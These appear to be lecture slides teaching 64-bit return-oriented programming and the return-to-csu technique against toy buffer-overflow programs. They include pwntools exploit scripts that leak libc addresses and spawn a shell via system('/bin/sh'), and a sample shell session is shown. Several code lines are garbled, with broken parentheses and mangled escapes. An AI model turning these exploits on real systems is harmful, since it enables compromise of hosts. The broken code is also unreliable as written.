

Advanced Return Oriented Programming

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Agenda

- Understand 64-bit ROP
- Understand return-to-csu

Review (32bit)

__libc_start_main@got

main

puts

→

"/bin/sh"

????

system

Would it work in 64bit?

__libc_start_main@got

main

puts

→

"/bin/sh"

????

system

ROP in 64-bit

- Need to set an argument in rdi
- It would be great if we have

```
pop rdi  
ret
```

- But we only have

```
0x400d82 <+98>: pop r15  
0x400d84 <+100>: ret
```

Gadgets by breaking instructions

We can get this gadget by breaking the instruction

```
0x400d82 <+98>:  pop    r15  
0x400d84 <+100>: ret
```

```
0x400d83 <+99>:  pop    rdi  
0x400d84 <+100>: ret
```

Get more gadgets using ropper

In our server, we installed a tool called ropper(<https://github.com/sashs/Ropper>).

```
$ ropper --file [program]
```

```
Gadgets
```

```
=====
```

```
0x080487f1: adc al, 0x41; ret;  
0x0804855e: adc al, 0x50; call edx;  
0x08048611: add al, 0x89; ret 0x458b;  
0x080484d1: add al, 8; call eax;  
0x0804850b: add al, 8; call edx;  
0x0804868f: add bl, dh; ret;
```

```
...
```

64bit ROP using pop rdi;ret

main

puts

__libc_start_main@got

pop rdi;ret

→

system

"/bin/sh"

pop rdi;ret

Review: sample

```
void vuln() {  
    char buf[32];  
    read(0, buf, 0x100);  
}  
  
int main() {  
    puts("Welcome!");  
    vuln();  
    exit(0);  
}
```

Exploit

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome

pop_rdi_ret = 0x0000000000400623
payload = ("A"*0x28
          + p64(pop_rdi_ret)
          + p64(e.got['__libc_start_main'])
          + p64(e.symbols['puts'])
          + p64(e.symbols['_start']))

p.send(payload)

# Unlike 32bit, 64bit libc address contains NULL
# Therefore, puts() returns the address with line
break(i.e., \n)
# (e.g., 'P\xd7\xa2\xf7\xff\x7f\n' ->
0x00007ffff7a2d750)
# This code eliminates the line break and make it
8 bytes
libc_start_main =
u64(p.readline().strip().ljust(8, '\x00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = ("A"*0x28
          + p64(pop_rdi_ret)
          +
          p64(next(libc.search('/bin/sh'))))
          + p64(libc.symbols['system'])

p.send(payload)
p.interactive()
```

BOOM

```
$ python exploit.py
[+] Starting local process './vuln': pid 12103
[*] '/home/vagrant/vuln'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
LIBC_BASE: 0x7ffff7a0d000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant)
groups=1000(vagrant)
```

Another sample

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    write(1, "Welcome!\n", 9);
    vuln();
    exit(0);
}
```

- What's the problem of our exploit?

Another sample

```
void vuln() {  
    char buf[32];  
    read(0, buf, 0x100);  
}  
  
int main() {  
    write(1, "Welcome!Wn", 9);  
    vuln();  
    exit(0);  
}
```

- What's challenge for exploiting it?

Can we find this gadget?

```
pop rdi  
pop rdx  
pop rsi  
ret
```

or these gadgets?

```
pop rdi  
ret
```

```
pop rdx  
ret
```

```
pop rsi  
ret
```

Unfortunately not in our small program :(

return-to-csu

- return-to-csu: A **New** Method to Bypass 64-bit Linux ASLR (Blackhat ASIA '18)
 - New? No! It is very very old technique!
 - Well documented though

`__libc_csu_init`

```
void
__libc_csu_init (int argc, char **argv, char
**envp)
{
    ...
    const size_t size = __init_array_end -
__init_array_start;
    for (size_t i = 0; i < size; i++)
        (*__init_array_start [i]) (argc, argv,
envp);
}
```


gadgets in __libc_csu_init

```
; set arguments (argc, argv envp)
mov     rdx,r13
mov     rsi,r14
mov     edi,r15d
call   QWORD PTR [r12+rbx*8]

; for loop
add     rbx,0x1
cmp     rbp,rbx
jne     __libc_csu_init+64

; clean up
add     rsp,0x8
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
ret
```

return-to-csu

1. Set registers using clean up code

```
; clean up
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret
```

2. Jump to function calls

```
; set arguments (argc, argv envp)
mov    rdx,r13
mov    rsi,r14
mov    edi,r15d
call   QWORD PTR [r12+rbx*8]
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...
```

- r13 → rdx (3rd argument)
- r14 → rsi (2st argument)
- r15d → edi (1st argument): 32bit
- r12+rbx*8: **An address contains a function address**
- If rbx == 0, rbp == 1 for terminating
- Q: **r12** for write()?

GOT will save us :)

- GOT = an address contains a function address
 - e.g., `write@GOT`
- e.g., `write(1, __libc_start_main@GOT, 8)`
 - `r13` → `rdx` (3rd argument) → **8**
 - `r14` → `rsi` (2st argument) → `__libc_start_main@GOT`
 - `r15d` → `edi` (1st argument): 32bit → **1**
 - `r12+rbx*8`: An address contains a function address → `write@GOT`
 - If `rbx == 0`, `rbp == 1` for terminating

Leak... then?

- Compute libc base address
- `system("/bin/sh")` using `pop rdi ; ret`

Exploit

```
from pwn import *

p = process('./vuln', stderr=2)
e = ELF('./vuln')
p.readline() # Welcome

gadget1 = 0x000000000040066a # clean up
gadget2 = 0x0000000000400650 # func call
pop_rdi_ret = 0x0000000000400673

payload = (b"A"*0x28
           + p64(gadget1)
           + p64(0) # rbx
           + p64(1) # rbp
           + p64(e.got['write']) # r12
           + p64(8) # r13
           + p64(e.got['__libc_start_main']))
# r14
           + p64(1) # r15
           + p64(gadget2)
           + p64(0) * 7
           + p64(e.symbols['main']))

p.send(payload)
libc_start_main = u64(p.read(8)).strip().ljust(8,
'Wx00'))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)
```

WARNING

Your gadget might be different from mine!

Please re-check if you write your exploit!